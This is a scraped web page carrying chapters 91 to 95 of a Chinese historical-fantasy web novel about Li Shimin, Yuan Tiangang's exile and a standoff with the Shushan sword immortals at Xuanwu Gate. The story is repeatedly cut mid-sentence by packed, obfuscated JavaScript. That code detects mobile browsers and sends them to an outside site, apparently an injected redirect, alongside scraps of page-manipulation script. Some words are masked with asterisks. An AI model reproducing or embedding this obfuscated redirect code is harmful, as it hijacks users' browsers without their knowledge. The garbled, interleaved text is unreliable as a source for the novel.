35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253015|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他们绝不允许袁天罡把这祸乱天下的罪名,挂在他们的身上! 城楼之上,再次乱成了一锅粥。 指责、咒骂、咆哮,此起彼伏。 “住口!” 一声雷霆怒喝,骤然炸响在混乱的玄武门城楼之上。 不是来自那些气急败坏的世家官员,而是来自那九五之尊,大唐天子李世民! 他双目赤红,死死地瞪着李承乾,那眼神中刚刚熄灭的怒火,此刻混杂着更为复杂的、冰冷的决绝,再度熊熊燃烧起来。 “逆子!你还敢妖言惑众!” 李世民的声音嘶哑,却带着不容置疑的帝王威严,将城楼上所有的嘈杂都狠狠砸得粉碎。 他不再去看那悬在头顶的万千剑光,也不再去思考袁天罡那番话的深意。 就在刚才,城下传来了山呼海啸甲胄碰撞声。 他最忠诚的将军,苏定方,已经率领十万长安守卫军,将整个皇城围得水泄不通! 那股熟悉的、由绝对力量带来的掌控感,如同暖流,瞬间驱散了他心中所有的寒意与恐惧。 有兵在手,天下我有! 这才是帝王最大的底气! 什么蜀山剑仙,什么妖道袁天罡,在十万铁甲雄兵面前,又能算得了什么? 他李世民,才是这长安城、这大唐天下唯一的主宰! 看清了这一点,李承乾那些诛心之言,在他听来,便不再是警醒,而是最恶毒的诅咒,最恶劣的背叛! “朕救的是谁,朕护的是谁,还轮不到你这个逆子来置喙!” 李世民指着李承乾,手指因用力而微微颤抖,“你勾结蜀山,意图弑君谋逆,此乃不赦之罪!如今还想巧言令色,将脏水泼向朝堂诸公?你以为朕会信你这番鬼话!” 胜券在握的感觉,让李世民的思路前所未有地清晰起来。 他需要稳住朝堂,稳住这些世家大族。 此刻,无论他们之前做过什么,说过什么,他们都是站在自己这一边的力量,是对抗李承乾和蜀山的盟友。 而李承乾,是敌人! 帝王的表态,注入了五姓七望官员们的心中。 他们瞬间挺直了腰杆,脸上的惊恐和慌乱一扫而空,取而代之的是小人得志猖狂与得意。 陛下站在我们这边! 十万大军就在城下! 区区一个妖道,一个失势的太子,还能翻了天不成? 第91章 说,霍乱天下者,李承乾! 他们的目光,齐刷刷地射向了那个依旧淡然立于城头的青衫道人。 袁天罡没有感受到那些几乎要将他凌迟的视线,他甚至都没有回头看一眼龙颜大怒的李世民。 他只是缓缓转过身,面对着那一张张因为愤怒和得意而扭曲的脸,嘴角勾起一抹极淡、却又极尽嘲讽的笑意。 那笑容,比蜀山剑仙的剑气还要冰冷,还要伤人。 “呵……” 一声轻笑,从袁天罡的喉咙里溢出,清晰地传到每一个人的耳朵里。 “用我之时,贫道便是洞察天机、辅佐圣君的护国真仙。” 他的声音不疾不徐,带着看透世情的慵懒与苍凉。 “不用我时,我便成了勾结逆党、妖言惑众的无耻妖道。” 袁天罡的目光,慢悠悠地从李泰煦那张涨成猪肝色的老脸上,滑到那个刚刚还在跳脚叫骂的崔氏官员身上,最后扫过所有世家官员。 “诸位大人,这翻脸不认人的本事,真是比翻书还快啊。” “你!” 李泰煦气得差点一口气没喘上来,他指着袁天罡,嘴唇哆嗦着,“妖道!你休要猖狂!若不是你在此蛊惑人心,太子何至于走到今天这一步!你才是一切祸乱的根源!” “没错!” 另一个王氏官员立刻附和,声音尖利刺耳,“当初若不是你力主迁都,言说什么龙脉有损,我等又何必请蜀山仙人下山匡扶社稷?说到底,都是你这妖道在背后捣鬼!” “对!罪在妖道!” “请陛下降旨,将这妖道与逆贼一同拿下,明正典刑!” 有了李世民的撑腰,有了十万大军作为后盾,他们再无丝毫顾忌。 在他们看来,袁天罡此刻不过是一条待宰的狗。 之前对他所有的敬畏,都化作了此刻加倍的憎恨与鄙夷。 是这个妖道,让他们在陛下面前失了态! 是这个妖道,让他们刚才差点死在蜀山的剑下! 也是这个妖道,用最恶毒的语言,将他们钉在了“罪人”的耻辱柱上! 此人,必死! 他们咆哮着,叫嚣着,声音越大,就越能证明自己的清白与忠诚。 然而,面对这群疯狗撕咬,袁天罡脸上的笑意反而更深了。 他轻轻掸了掸自己那身朴素的青衫,要掸去沾染上的污秽。 “祸乱的根源?” 他歪了歪头,看着李泰煦,眼神里充满了怜悯。 “李大人,你是不是忘了,半个时辰前,是谁派人三催四请,求贫道卜一卦,算算蜀山的剑什么时候落下来?” 李泰煦的脸色“唰”地一下变得惨白。 “你……你血口喷人!” “哦?” 袁天罡挑了挑眉,“那这位崔大人,你是不是也忘了,是谁捧着千两黄金,跪在贫道的观星楼外,只求贫道指点迷津,保你崔氏一族富贵不衰?” 那崔氏官员的身体猛地一僵,眼神躲闪,张了张嘴,却一个字也说不出来。 袁天罡的目光再次缓缓扫过众人,每一个被他看到的人,都下意识地避开了他的视线。 他的声音依旧平淡,却抽在这些所谓的世家栋梁的脸上。 “你们求我推演天机,趋吉避凶之时,口口声声称我为‘国师’、‘活神仙’。” “如今大军已至,危局暂解,便立刻翻脸,骂我是‘妖道’、‘祸根’。” “啧啧啧……” 袁天罡摇了摇头,发出一阵轻啧。 “这长安城里的达官显贵,当真是……好一副忠肝义胆的嘴脸啊!” 那阵阵不堪入耳的污言秽语,在玄武门的城楼上回荡。 李泰煦等人还在唾沫横飞地叫骂,他们涨红了脸,脖子上青筋暴起,试图用最恶毒的词汇,将袁天罡钉死在耻辱柱上。 就在这时,一个冰冷的声音,从他们头顶浇下,瞬间冻结了所有的喧嚣。 “袁天罡。” 是李世民。 他一直站在那里,负手而立,龙袍在城头的烈风中猎猎作响。 直到此刻,他才终于开口,声音不大,却带着不容置疑的威压,瞬间压过了所有嘈杂。 刚刚还在咆哮的李泰煦等人,声音戛然而止。 他们噤若寒蝉,纷纷低下头,连大气都不敢喘。 整个玄武门城楼,死一寂静。 李世民缓缓转过身,那双洞悉世事的龙目,终于落在了袁天罡身上。 他的眼神深邃如海,看不出喜怒,却比任何愤怒的斥责都更令人心悸。 他迈开步子,一步一步,朝着袁天罡走去。 甲胄摩擦的声音,在这片死寂中显得格外刺耳。 终于,他停在了袁天罡面前,两人相距不过三尺。 李世民的目光如刀,一寸寸刮过袁天罡那张波澜不惊的脸。 “你是要帮助太子,为虎作伥吗?” 这话说得极慢,字字清晰,是从牙缝里挤出来的。 话音落下,周遭的空气都凝固了。 李泰煦等人的眼中,迸发出病态的狂喜。 他们就知道! 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253016|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妖道如此猖狂,陛下岂能容他! 然而,袁天罡的反应,却让所有人始料未及。 他笑了。 不是冷笑,不是讥笑,而是发自肺腑的,带着几分疲惫和无奈的笑声。 “呵呵……” 他执掌不良人,为李世民监听天下,将自己的双眼化作悬在大唐上空的鹰隼。 蜀山三千剑仙压境,满朝文武瑟瑟发抖时,是他一人一袍,立于观星楼,直面那足以倾覆长安的剑气。 可到头来,换来的,却是帝王最无情的猜忌。 “陛下。” 袁天罡抬起眼,迎上李世民那双锐利的眸子,眼神清澈得没有杂质,“我若是要帮太子,今日,又何必现身?” 他顿了顿,环视了一圈那些恨不得将他生吞活剥的世家官员。 “我若真为太子谋划,此刻的长安,早该血流成河。哪里轮得到这些大人,在这里冲着贫道狂吠?” 这番话,抽得李泰煦等人脸色青白交加。 李世民的瞳孔猛地一缩。 袁天罡的话,精准地刺中了他内心最隐秘的恐惧。 是啊,如果袁天罡真的反了,以不良人的渗透能力,后果不堪设想。 但帝王的多疑,又岂是三言两语能够打消的。 他逼视着袁天罡,声音愈发冷冽,带着不容违逆的决绝。 “好!说得好!” 李世民的声音陡然拔高,带着雷霆之威。 “那你就当着朕的面,当着文武百官的面,告诉所有人!” “天下霍乱的根源,是李承乾!” “说!” 最后一个字,几乎是吼出来的。 这是命令,是最后通牒。 是要袁天罡彻底站队,亲口为太子定罪! 李泰煦等人屏住了呼吸,眼中闪烁着期待的光芒。 他们已经看到,袁天罡在这股天威之下,屈膝叩首,痛骂太子的场景。 然而,袁天罡只是静静地看着李世民。 看着这个他辅佐了半生,从秦王一路走到九五之尊的男人。 他脸上的笑意彻底消失了,取而代之的,是近乎悲悯的神情。 玄武门的风,更烈了。 吹得他那身青色的道袍,呼呼作响。 他缓缓开口,声音不大,却在每个人的耳边炸响。 “陛下,你错了。” “天下霍乱的根源……” 袁天罡的目光,没有丝毫退让,直直地刺入李世民的眼底深处。 “是李世民!” 第92章 国师袁天罡倒戈 “李世民!” 三个字,轻飘飘的,只是在陈述一个再寻常不过的名字。 然而,这三个字落入玄武门城楼之上,却比万钧雷霆还要骇人。 死寂。 针落可闻的死寂。 狂风卷过城头,将李世民的龙袍吹得猎猎作响,那明黄的布料在他身后疯狂舞动。 他脸上的所有表情都凝固了,那双曾睥睨天下的眸子,此刻只剩下纯粹的、茫然的、难以置信的空白。 有一柄无形的重锤,狠狠砸在了他的天灵盖上,震得他魂魄都在颤抖。 站在他身侧的李泰煦,脸上的狂喜还未褪去,就僵在了那里。 他张着嘴,喉咙里发出“嗬嗬”的怪响,眼珠子几乎要从眼眶里凸出来。 疯了! 这个妖道一定是疯了! “妖言惑众!” 终于,一声尖利到变调的嘶吼划破了死寂。 李泰煦状若疯魔,指着袁天罡的手指抖得厉害。 “大逆不道!此獠……此獠竟敢直呼陛下名讳!他这是要**!护驾!护驾!将这乱臣贼子就地格杀!” 周围的世家官员们如梦初醒,瞬间炸开了锅。 “反了!反了!这妖道果然包藏祸心!” “陛下!万万不可再姑息!此人留不得!” “诛杀此獠!以正国法!以安天下!” 叫嚣声、怒骂声、**声混杂在一起,汇成汹涌的声浪,疯狂地拍打着李世民的耳膜。 而李世民,却对这一切充耳不闻。 他的世界里,只剩下眼前那个青衣道人。 那张平静的脸,那双悲悯的眼。 怒火,瞬间冲垮了理智的堤坝。 不是暴怒,不是咆哮,而是极致的、冰冷的、要将一切焚烧殆尽的死寂的愤怒。 他动了。 他缓缓地,抬起了手。 只是一个简单的动作,却带着不容抗拒的威严。 喧嚣的城楼,瞬间再次安静下来。 所有人都屏住了呼吸,看向他们的帝王。 李世民的目光,从袁天罡的脸上,缓缓地、一寸寸地挪开,扫过李泰煦,扫过那些群情激奋的世家官员。 被他目光扫过的人,无不心头一凛,下意识地垂下头去,不敢与那双蕴含着无尽风暴的眼睛对视。 “你们,” 李世民开口了,声音不大,却透着彻骨的寒意,“都想让他死?” 李泰煦等人心中一喜,连忙叩首:“陛下圣明!此等妖人,不杀不足以平民愤!” “好。” 李世民吐出一个字。 他转回头,重新看向袁天罡。 “袁天罡,你可知罪?” 袁天罡没有回答,只是静静地看着他,眼神中那抹悲悯之色更浓了。 那是看着一个亲手缔造的、辉煌的造物,正亲手走向毁灭的悲哀。 这眼神,深深刺痛了李世民。 他最恨的,就是这种眼神! 他李世民的一切,都在对方的算计之内,他只是一个提线木偶! “朕再问你一遍,你可知罪!” 李世民的声音压抑着。 袁天罡终于动了。 他缓缓抬起双手,解下了腰间那块代表着不良帅身份的玄铁令牌。 令牌上雕刻着复杂的星辰轨迹,在日光下泛着幽冷的光。 他双手捧着令牌,向前递出。 “陛下,贫道执掌不良人三十载,看过长安的花开花落,听过天下的风风雨雨。” 他的声音很轻,却清晰地传到每个人耳中,“贫道曾以为,这双眼睛,是为了大唐,为了陛下,扫清前路的障碍。” “可如今看来,贫道错了。” 他自嘲地笑了笑,那笑声里满是萧索与疲惫。 “贫道看到的,陛下不想看。贫道说出的,陛下不愿听。” “既然如此,这双碍眼的眼睛,不要也罢。这把碍事的嘴,不言也罢。” 他将那块玄铁令牌,轻轻放在了脚下的城砖上。 动作很轻,但那清脆的“嗒”一声,却敲在李世民的心上。 这是…… 放弃了? 他竟然就这么放弃了? 放弃了他经营一生,足以颠覆社稷的不良人? 李世民的心,猛地一沉。 难以言喻的恐慌,混合着无边的怒火,让他几乎要失去控制。 他宁愿袁天罡反抗,宁愿他拔剑相向,也好过现在这样! 这种被彻底放弃、被彻底否定的感觉,比任何刀剑都让他难受! “好!好一个袁天罡!” 李世民怒极反笑,他指着袁天罡,身子因为愤怒而微微颤抖,“你以为,交出令牌,朕就会放过你吗?你以为,你今日对朕的大不敬,就这么算了?” “陛下欲如何处置,贫道,悉听尊便。” 袁天罡垂下眼睑,语气平淡。 他越是如此平静,李世民心中的火焰便烧得越旺。 李泰煦见状,立刻抓住机会,再次叩首,声泪俱下:“陛下!不能放虎归山啊!今日陛下若放他离去,他日必成心腹大患!求陛下,为了大唐江山,诛杀此獠!” “求陛下诛杀此獠!” 五姓七望的官员们齐刷刷跪倒一片,声震玄武门。 他们要的,是袁天罡的命! 李世民的胸膛剧烈起伏着,他死死地盯着袁天罡,眼中杀机毕现。 杀了你? 太便宜你了。 杀了你,岂不是正应了你的悲天悯人? 岂不是让你成了后世口中,因直谏而被**所杀的忠臣? 朕,偏不让你如愿! 让你亲眼看着,没有你袁天罡,朕的江山,依旧固 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253017|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 若金汤! 袁天罡也缓缓抬起了头,眼中闪过讶异。 李世民看着他,嘴角扯出一个残忍的弧度:“朕,不杀你。朕要你脱下这身道袍,滚出长安,永世不得踏入京畿半步!” “朕要你亲眼看着,你口中这霍乱的根源,如何开创一个前所未有的盛世!” 这是比死,更恶毒的惩罚。 对于袁天罡这样的人来说,剥夺他的身份,将他从倾注了一生心血的舞台上赶走,是对他最大的羞辱。 李泰煦等人虽然心有不甘,但也明白,这是帝王最狠厉的报复。 一个被罢黜、被驱逐的袁天罡,就再也不是那个权倾朝野、令人畏惧的不良帅了。 袁天罡深深地看了李世民最后一眼。 那一眼,复杂得难以形容。 有失望,有悲哀,有解脱,却没有恨。 他什么都没说。 只是对着李世民,对着他辅佐了半生的君王,对着这座他守护了半生的城池,缓缓地,深深地,作了一个揖。 然后,他直起身,转过身。 那身青色的道袍,在玄武门猎猎的风中,显得格外孤寂。 他就这样,一步一步,朝着城楼下走去。 背影萧索,却挺直如松。 李世民就这么站着,看着那个背影,越走越远,逐渐消失在城楼的拐角处。 他紧紧攥着拳头,指甲深深陷入掌心,带来一阵尖锐的刺痛。 风,吹过空旷的城楼,带走了最后一点属于那个人的气息。 一切,都结束了。 可为什么,他的心里,非但没有快意,反而空落落的。 那股空洞感,如玄武门下的深渊,吞噬着李世民的心神。 袁天罡的背影消失了,带走了他半生的纠葛,也带走了一块他自己都不愿承认的支撑。 剩下的,只有呼啸而过的冷风,和被彻底背叛后的、令人作呕的孤寂。 他恨这种感觉。 恨不得将这空虚用什么东西填满,用血,用火,用一场彻彻底底的毁灭来证明,他李世民,不需要任何人的认可! 他就是天,他就是唯一的真理! 胸腔中那团压抑的火焰,在这一刻找到了宣泄的出口。 不是对着那个已经远去的背影,而是转向了这场闹剧真正的根源。 他猛地转过身,龙袍在狂风中猎猎作响,那双因愤怒而布满血丝的眼睛,死死地盯住了长安城外的方向。 那里,他的好儿子,正带着所谓的百万大军,要来问鼎他亲手打下的江山。 可笑! 李世民的脸上浮现出一抹狰狞的残忍。 他不再压抑自己的声音,用尽全身的力气,对着脚下这座雄城,对着他麾下最精锐的将士,发出了石破天惊的怒吼。 “传朕旨意!” “诛杀逆子——李!承!乾!” 第93章 从此以后,世间再无蜀山! 最后三个字,几乎是从牙缝里一个一个挤出来的,带着无尽的杀意与决绝,回荡在整个玄武门的上空。 “咚!” 一声巨响,不是战鼓,而是十万长安守军向前踏出一步的整齐轰鸣! 大地为之震颤,城楼都在摇晃。 十万柄冰冷的横刀瞬间出鞘,寒光映亮了天际。 那股由金戈铁甲汇聚而成的肃杀之气,冲天而起,要将苍穹都撕裂开来。 “诛杀李承乾!” “诛杀李承乾!” “诛杀李承"乾!!”山呼海啸咆哮,从十万将士的胸膛中迸发出来,汇成一道滚滚洪流,淹没了一切杂音。 杀了李承乾,太子一死,叛军群龙无首,则不攻自破! 这是最简单,也是最有效的办法。 李泰煦等五姓七望的官员们,刚刚从地上爬起来,就被这股滔天的杀气吓得两腿发软。 他们惊恐地望着李世民,只见这位帝王站在城楼边缘,负手而立,神情冷酷。 这才是他们想要的皇帝! 杀伐果断,铁血无情! 他们心中涌起一阵狂喜,陛下终于不再犹豫,不再被那虚无缥缈的父子之情所束缚。 成了! 只要李承乾一死,这场风波便可彻底平息。 他们五姓七望,依旧是大唐最尊贵的门楣! 李泰煦激动得浑身发抖,他看着李世民的背影,眼神中充满了狂热的崇拜。 陛下圣明! 然而,他们并不知道,李世民的棋局,远不止于此。 就在这杀声震天的同时,长安城内,那些寻常百姓看不见的阴暗角落里,一道道黑色的身影悄然无声地出现在了预定的位置。 他们是不良人。 却不再是听命于袁天罡的不良人。 在袁天罡交出令牌的那一刻,这支大唐最锋利的暗刃,便已彻底归于帝王之手。 城墙的垛口后,坊市的屋顶上,朱雀大街两侧的阁楼窗内…… 无数双冷静得不带感情的眼睛,同时抬起,望向了长安上空。 在那里,三千名白衣飘飘的蜀山剑仙,虚空而立。 他们御剑乘风,仙气缭绕,神情孤傲,俯瞰人间的神祇。 他们,在等待。 等待李承乾的兵马抵达,等待一个合适的时机,介入这场皇权更迭。 可他们不知道,在他们脚下这座凡人的城池里,一张专门为他们编织的死亡大网,早已悄然张开。 一名不良人半跪在冰冷的瓦片上,身形与黑暗融为一体。 他的手中,端着一架造型奇特的**。 **身通体由不知名的黑色金属打造,上面镌刻着繁复而古奥的符文,在微光下闪烁着令人心悸的幽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253018|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 芒。 这,便是屠魔**。 袁天罡穷尽阴阳术数与墨家机关术的精髓,耗费无数天材地宝,专门为了克制修行者而打造出的恐怖杀器。 每一根**箭的箭头,都浸染过上古凶兽的血液,箭身上刻着破法符文,足以洞穿陆地神仙的护体真气。 此时此刻,数千架屠魔**,已经全部装填完毕,冰冷的箭头,穿过屋檐的缝隙,越过城墙的垛口,悄无声息地瞄准了天空中那三千个圣洁的身影。 只待一声令下。 这三千剑仙,便会在顷刻之间,从云端陨落。 李世民的目光,缓缓从城外收回,不经意地瞥了一眼天空。 那眼神,冰冷而漠然。 蜀山? 你们不是自诩超凡脱俗,视人间帝王如蝼蚁吗? 朕今日,便要让你们这些高高在上的仙人,尝一尝被凡人屠戮的滋味! 既要诛杀逆子,也要荡平蜀山! 这,才是他李世民真正的后手! 一场豪赌,他要赢得所有! 在他看来,这场战争,已经结束了。 在李承乾那所谓的百万大军,抵达长安城下之前,他的头颅,就会被送到自己的面前。 而那三千自以为是的剑仙,也将成为大唐不良人屠魔**下的第一批祭品。 从此以后,世间再无蜀山! 第94章 李世民失算了 玄武门的城楼之上,风声呜咽,卷起李世民的龙袍,猎猎作响。 他背负双手,俯瞰着脚下的一切。 他的身后,以李泰煦为首的五姓七望官员们,脸上洋溢着难以抑制的狂喜,仿佛已经看到了李承乾人头落地的场景。 陛下这一手,简直是神来之笔! 先用不良人布下天罗地网,再以屠魔**锁定蜀山剑仙。 一石二鸟,既能除掉逆子,又能敲山震虎,让这些自以为是的方外之人,彻底明白谁才是这片天地的主宰! 李承乾,你完了! 李泰煦几乎要笑出声来,他看向那个孤零零站在对面的身影,眼神里充满了鄙夷和怜悯。 然而,预想中李承乾的惊慌失措并未出现。 “哈哈……哈哈哈哈!” 一阵狂放不羁的笑声,骤然从李承乾的口中爆发出来,那笑声穿云裂石,竟隐隐压过了城楼上的猎猎风声。 他挺直了脊梁,一头黑发在风中狂舞,那双深邃的眸子,没有半分恐惧,反而燃烧着前所未有的炽热火焰。 他直视着李世民,那目光锐利。 “陛下,袁天罡被你逼走了,你认为谁还能抵挡孤!” 这声质问,砸在众人心头。 李泰煦等人脸上的笑容瞬间凝固。 狂妄! 死到临头,还敢如此狂妄! 李世民双眼微眯,瞳孔中闪过森寒的杀意,但他旋即也放声大笑起来,笑声雄浑霸道,充满了帝王的威严与掌控一切的自信。 “逆子,你以为孤的底牌,只有袁天罡吗?” 他缓缓抬起手,指向天空那三千名蜀山剑仙。 “看清楚了!朕的大唐不良人,早已为你这些所谓的援军,准备好了一份厚礼!” 他的声音陡然拔高,响彻整个玄武门! “屠魔**已经准备就绪!朕一声令下,这些叛逆,这些自诩为仙的蠢货,将全部葬身于万箭齐发之中!尸骨无存!” 话音落下,长安城内,无数个阴暗的角落里,似乎有金属的微光一闪而过。 冰冷、肃杀的气息,冲天而起。 天空中的三千剑仙似乎也感受到了这股致命的威胁,原本飘逸的剑阵出现了微不可查的骚动,仙气缭绕的身影下,是凡**眼无法看见的,数千个冰冷箭头所凝聚的死亡之网。 胜券在握! 李泰煦激动得老脸通红,他指着李承乾,尖声叫道:“太子殿下,您听到了吗?陛下已经给您判了死罪!还不速速束手就擒,或许还能留个全尸!” 另一名崔氏的官员也跟着阴阳怪气地嘲讽:“是啊,太子殿下,您那些天上的朋友,恐怕自身难保咯!啧啧,真是可惜了,这么些个俊俏的仙人,待会儿掉下来,可别砸坏了长安城的花花草草啊!” “哈哈,王大人说的是!这叫什么?这就叫自寻死路!” “陛下圣明!此等叛逆,就该**万段!” 污言秽语,阿谀奉承,在城楼上交织成一片刺耳的噪音。 可李承乾对这一切都置若罔闻。 他的目光,始终锁在李世民的脸上,从未移动分毫。 面对那足以让陆地神仙都为之色变的屠魔**大阵,面对父亲那志在必得的眼神,他的脸上,依旧是那副英姿勃发、睥睨天下的神情。 仿佛李世民所说的,不过是个无聊的笑话。 在所有人或嘲讽,或轻蔑,或惊疑的注视下,李承乾的嘴角,缓缓向上勾起一个冰冷的弧度。 他向前踏出一步,整个人的气势在这一瞬间攀升到了顶点。 “陛下,” 他的声音不大,却清晰地传入了每个人的耳中,带着一种令人心悸的平静。 “试一试!” 此言一出,满场皆静。 连城楼上呼啸的风,似乎都停滞了一瞬。 李泰煦等人的嘲笑声卡在了喉咙里,脸上的表情精彩纷呈,被人狠狠抽了一耳光。 疯了! 这个李承乾,一定是疯了! 他竟然敢挑衅手握屠魔**的陛下? 他难道真的想让那三千剑仙,为他的愚蠢陪葬? 李世民的瞳孔猛地一缩。 他那双洞察世事、深不见底的眼眸中,第一次,对自己的这个儿子,产生了无法理解的惊疑。 那不是虚张声势。 不是走投无路下的疯狂。 而是一种…… 有恃无恐的笃定。 就,他笃定自己不敢,或者…… 不能下令。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253019|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 为什么? 他凭什么? 李世民的手,缓缓抬起,又在半空中顿住。 那一声“放箭”的命令,就在嘴边,却无论如何也吐不出来。 城楼上的气氛,在这一刻,凝重到了极点。 那股莫名的惊疑,扎进李世民的心脏。 凭什么? 他凭什么如此笃定! 朕是天子! 这天下,这长安,这玄武门,皆在朕的掌控之中! 朕要谁死,谁就必须死! 胸中的怒火瞬间烧尽了最后犹豫。 父子之情? 此刻荡然无存! 帝王威严,不容挑衅! 李世民那只顿在半空中的手,猛然挥下,动作决绝,带着斩断一切的狠厉! “放箭!” 一声暴喝,在玄武门上空炸响。 “射杀这些蜀山叛逆!” 帝王的怒吼,裹挟着无尽的杀意,回荡在死寂的城楼之上。 成了! 李泰煦等五姓七望的官员,脸上瞬间绽放出病态的狂喜。 他们仿佛已经看到了下一刻的场景: ——万箭穿心,血肉横飞,那些飘然若仙的身影如下饺子从空中坠落,而那个胆敢忤逆天子的李承乾,将在绝望中被射成一个血肉模糊的刺猬。 他们凝视着天空,脖子伸得老长,眼神里满是贪婪与残忍。 李世民同样在等待。 他背负双手,挺直了脊梁,极力维持着帝王的威仪。 他的目光穿透虚空,死死锁住李承乾,他要亲眼看着这个逆子,在他亲手缔造的死亡之雨中,被彻底毁灭! 风,在耳边呼啸。 城楼上的旗帜,猎猎作响。 一秒。 两秒。 三秒。 时间仿佛被一只无形的手拉扯得无比漫长。 预想中那遮天蔽日的箭雨,那撕裂空气的尖啸,那万千**机齐发的轰鸣,通通没有出现。 玄武门内外,死的寂静。 只有那三千剑仙,依旧虚空而立,白衣飘飘,剑气凌然,仿佛一群超脱世外的看客,冷眼旁观着城楼上的闹剧。 李世民脸色一变:“怎么不放箭!” 第95章 不良帅将印在李承乾手中 怎么回事? 李泰煦脸上的笑容僵住了,他茫然地眨了眨眼,望向身旁的同僚。 其他人也是一脸错愕,交头接耳,窃窃私语。 “为何还不放箭?” “不良人呢?睡着了不成!” “这…这到底是怎么了?” 嘈杂的议论声中,不祥的预感,悄然爬上每个人的心头。 李世民的心,猛地一沉。 他那双威严的眸子里,第一次浮现出真正的慌乱。 他霍然转身,望向城墙之下,那些他最信赖的力量,他一手建立的,足以让神魔胆寒的底牌——大唐不良人。 然而,视线所及之处,却让他如坠冰窟。 遍布长安城各处据点的不良人,依旧保持着引弓待发的姿态,那闪烁着幽蓝寒光的屠魔**箭头,依旧牢牢锁定着天空中的剑阵。 可是,他们没有动。 没有一个人,扣下**。 对皇帝的雷霆之怒,置若罔闻。 为什么?! 为什么不听朕的命令?! 前所未有的恐惧,夹杂着被背叛的愤怒,瞬间冲垮了李世民的理智。 他冲到城垛边,身体因为激动而微微颤抖,指着下方那些沉默的部下,声音因为惊怒而变得尖利刺耳,甚至带上了哀求般的颤音。 “放箭!你们……你们连朕的话,都不听了吗?!” 城楼上的风,似乎更冷了。 那刺骨的寒意,顺着李世民的龙袍缝隙钻进去,让他浑身都起了战栗。 他的咆哮还在空气中回荡,可换来的,只有更加死寂的沉默。 下方,那些他亲手缔造的影子,大唐最锋利的暗刃,不良人,依旧保持沉默。 他们每一个人的脸都藏在标志性的面甲之后,看不清表情,但那份集体性的、固执的静默,本身就是一种最响亮的违抗。 这不是迟疑,更不是畏惧。 这是一种拒绝。 一种彻底的、不容置喙的拒绝。 “混账!你们……你们都要**吗?!” 李世民的声音已经完全失控,威严扫地,只剩下气急败败的嘶吼。 他甚至想冲下城楼,亲自去夺过一张**弓,亲手将那个逆子射杀当场。 可他不能。 他是皇帝。 他脚下的大地在震颤,不是因为千军万马,而是因为他赖以维系的权威,正在以肉眼可见的速度崩塌。 李泰煦等一众五姓七望的官员,此刻的脸色比哭还难看。 他们一个个缩着脖子,额头上渗出豆大的冷汗。 方才的狂喜早已烟消云散,取而代之的是一种溺水般的窒息感。 他们惊恐地看着城楼下的景象,又时不时地偷眼瞟向天空中的李承乾。 那个本该被万箭穿心,化为一滩肉泥的太子殿下,此刻却显得那么从容。 他悬立于三千剑仙之前,白衣胜雪,墨发飞扬。 他就那样静静地看着城楼上乱作一团的君臣,看着他那暴怒的父亲。 他的眼神里没有挑衅,没有得意,只有一种近乎怜悯的平静。 仿佛在看一场早已注定结局的闹剧。 终于,在这令人窒管的寂静中,李承乾开口了。 他的声音不大,却瞬间刺破了玄武门上空凝固的空气,清晰地传到每一个人的耳中。 “父皇,您是不是忘了什么事?” 这句平淡的问话,让李世民的咆哮戛然而止。 他猛地转过头,一双布满血丝的眼睛死死瞪着李承乾,牙齿咬得咯咯作响。 “你……你这逆子,还敢跟朕说话!” 李承乾仿佛没有听到他的怒骂,只是自顾自地,用一种陈述事实的语气,缓缓说道:“就在刚才,您亲口将不良帅袁天罡,赶出了太极宫。” 袁天罡? 这个名字劈开了李世民混乱的思绪。 他想起来了。 